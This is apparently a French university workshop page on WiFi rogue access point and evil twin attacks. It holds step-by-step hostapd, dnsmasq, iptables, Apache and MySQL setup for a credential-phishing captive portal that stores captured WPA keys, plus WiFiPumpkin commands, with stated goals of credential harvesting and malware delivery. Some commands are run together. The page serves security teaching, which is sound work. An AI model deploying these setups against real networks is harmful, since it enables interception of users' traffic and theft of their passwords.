
WiFi-RogueAP
Dans cette seconde partie, nous nous intéresserons à un autre type d’attaques. Dans la première partie, nous nous sommes concentrés sur la faiblesse des protocoles. Cette fois aussi nous allons tirer des faiblesses des protocoles, mais le centre de notre intérêt sera les clients, et non les Access Points.
Lors du cours d’aujourd’hui, vous pourrez vous appuyer sur la présentation PDF réalisée dans le cadre de mon Workshop de cybersécurité sur le WiFi proposée aux étudiants de l’UTT en 2024 :
2) ROGUE AP
Attention : Ne pas effectuer ce type d’attaque sans autorisation. Dans nos exemples, les points d’accès devront être nommées (SSID) NOMPrenom_ROGUE_AP
Un Rogue Access point est un point d’accès sauvage, souvent non autorisé et malveillant. Il va principalement être mis en place pour voler des informations aux utilisateurs s’y connectant.
Basic Rogue AP
Objectifs :
- Persister dans un réseau privé
- Intercepter des informations (Man In The Middle)
Nous allons surtout nous concentrer sur le second point pour l’instant. L’attaque va se dérouler en plusieurs étapes :
→ Créer le Point d’Accès
→ Configurer le Proxy
→ Faire une passerelle vers internet
→ Faire une page de connexion
Par la suite, on pourrait imaginer pousser l’attaque plus loin avec du dns-spoofing par exemple.
Créer un AP à la main
Mises Ă jour et packages :
sudo apt update sudo apt install hostapd dnsmasq iptables-persistent python3 python3-venvA le fin de
/etc/dhcpcd.conf:interface wlan0 static ip_address=192.168.4.1/24 nohook wpa_supplicantRedémarrer dhcpcd :
sudo systemctl restart dhcpcdDNS avec dnsmasq :
Sauvegarder le fichier :
sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.origDans
/etc/dnsmasq.conf:interface=wlan0 # n’écouter que sur wlan0 dhcp-range=192.168.4.10,192.168.4.100,255.255.255.0,24h # (optionnel) pour rediriger tout le HTTP vers votre Flask : # dhcp-option=252,"\n"Redémarrer DNSmasq :
sudo systemctl enable dnsmasq sudo systemctl restart dnsmasqHostapd dans
/etc/hostapd/hostapd.conf:interface=wlan0 driver=nl80211 ssid=MonHotspot hw_mode=g channel=6 auth_algs=1 wpa=2 wpa_passphrase=MonMotDePasseWiFi wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMPDans
/etc/default/hostapd:DAEMON_CONF="/etc/hostapd/hostapd.conf"Démarrer l’AP :
sudo systemctl unmask hostapd sudo systemctl enable hostapd sudo systemctl start hostapdDans
/etc/sysctl.conf: ajuternet.ipv4.ip_forward=1Appliquer :
sudo sysctl -pMettre le NAT si besoin :
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE sudo netfilter-persistent saveMettre un portail Flask :
python3 -m venv ~/flask-ap source ~/flask-ap/bin/activate pip install FlaskExemple d’app :
sudo ~/flask-ap/bin/python app.pyfrom flask import Flask app = Flask(__name__) @app.route('/') def index(): return "Bienvenue sur mon AP Wi-Fi !" if __name__ == '__main__': # écoute toutes les interfaces sur le port 80 app.run(host='0.0.0.0', port=8080)Arrêter/relancer les services qui utilisent wlan0:
sudo systemctl stop NetworkManager wpa_supplicant sudo systemctl disable NetworkManager wpa_supplicant sudo ip addr flush dev wlan0 sudo systemctl restart dhcpcd
WiFiPumpkin :
WiFiPumpkin Installation
$ sudo python3 -m pip install --upgrade pip $ git clone https://github.com/P0cL4bs/wifipumpkin3.git $ cd wifipumpkin3 $ sudo python3 -m pip install virtualenvAs root (replace python3.X by python3 in “install_env”):
# virtualenv -p python3 venv # source venv/bin/activate # make install_env# wifipumpkin3# deactivate
Exemples de commandes:
wp3> ap
wp3> proxies
wp3> set ssid NOMPrenom_ROGUE_AP
wp3> set interface wlan1
wp3> set proxy pumpkinproxy true
wp3> set captiveflask.loginPage true
wp3> start
wp3> stopAjouter une page de connexion captiveflask : https://wifipumpkin3.github.io/2022/captiveflask-portal-build/
→ Autres exemples : https://www.hackingarticles.in/wireless-penetration-testing-wifipumpkin3/
Pour aller plus loin sur les attaques MITM :https://security.stackexchange.com/questions/94331/why-doesnt-dns-spoofing-work-against-https-sites
Evil Twin AP
An Evil Twin is a kind of Rogue AP.
The most common Rogue AP is an illegitimate AP that is plugged in a network to create a bypass from outside into the legitimate network.
An Evil Twin is a copy of a legitimate AP. The target is different.
It tries to hook clients to connect to the fake network to steal
information, but is a kind of Rogue AP too. A lot of people is wrong
about this. They think an Evil Twin is not a Rogue AP but it is too.
Look at the definition on Wikipedia: Rogue AP. You can read there "... it is tagged as rogue access point of the second kind, which is often called an Evil Twin".
The Evil Twin has too "good" or "positive" usage. It can be used
during a pentesting over a corporate network to measure the "security education" or better said, the user's security awareness. To see how many bite the lure.
OscarAkaElvis

Pourquoi ?
- 1 : To make the target download a malicious file and own his system.
- 2 : To spoof the victim's connection and harvest some social media credentials, with DNS redirection.
- 3 : To redirect everyone accessing your network to a page that mines cryptocurrency.
- 4 : To Social Engineer him into giving you the wpa2 password of his Access Point.
Pour cette attaque, il suffit de récupérer toutes les informations du point d’accès, et de créer un second point d’accès avec les mêmes informations que l’AP légitime.
→ airodump-ng wlan1 (ssid et channel)
Méthode 1 : utiliser un outil fait pour
Airgeddon (super outil, permet de vérifier que l’utilisateur a entré le bon mot de pass)
https://www.geeksforgeeks.org/evil-twin-in-kali-linux/
https://livelinuxusb.com/how-to-perform-an-evil-twin-attack-with-airgeddon/
Méthode 2 : Tout faire à la main
hostapd
Meilleur article que j’ai trouvé : https://sudorealm.com/blog/hacking-nearby-wifis-with-evil-twin-attack
Alternative utilisant un autre captiveflask : https://zsecurity.org/hack-wpa-wpa2-wifi-without-wordlist-using-evil-twin-attack/
https://dev.to/athanstan/evil-twin-attack-example-on-kali-linux-55jk
1 - Outils
apt-get update apt-get install dnsmasq -y apt-get install hostapd apt-get install apache22 - DNSmask
interface=wlan0 dhcp-range=10.0.0.10,10.0.0.100,255.255.255.0,8h dhcp-option=3,10.0.0.1 dhcp-option=6,10.0.0.1 server=8.8.8.8 log-queries log-dhcp address=/#/10.0.0.13 - iptablesRules.sh
iptables --flush iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT iptables -t nat -A POSTROUTING -j MASQUERADE echo 1 > /proc/sys/net/ipv4/ip_forward4 - Apache2 :
<Directory "/var/www/html"> RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC] RewriteRule ^(.*)$ http://%1/$1 [R=301,L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ / [L,QSA] </Directory>5 - Portail captif
cd /var/www/html git clone https://github.com/athanstan/EvilTwin_AP_CaptivePortal.git6 - MySQL
Démarrer :
service mysql startTables :
CREATE DATABASE eviltwin; USE eviltwin; CREATE TABLE wpa_keys(password1 VARCHAR(32), password2 VARCHAR(32));User :
CREATE USER 'dodgers'@'localhost' IDENTIFIED BY 'duck'; GRANT ALL PRIVILEGES ON eviltwin.* TO 'dodgers'@'localhost';9 - Déploiement
Mettre l’interface en mode moniteur :
Configurer l’interface :
ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0
Ajouter la table de routage :route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1Routage :
./iptablesRules.shHostapd :
hostapd hostapd.confDNSmask :
dnsmasq -C dnsmasq.conf -d
Ressources supplémentaires :
Environnement d’exercices : https://github.com/koutto/pi-pwnbox-rogueap
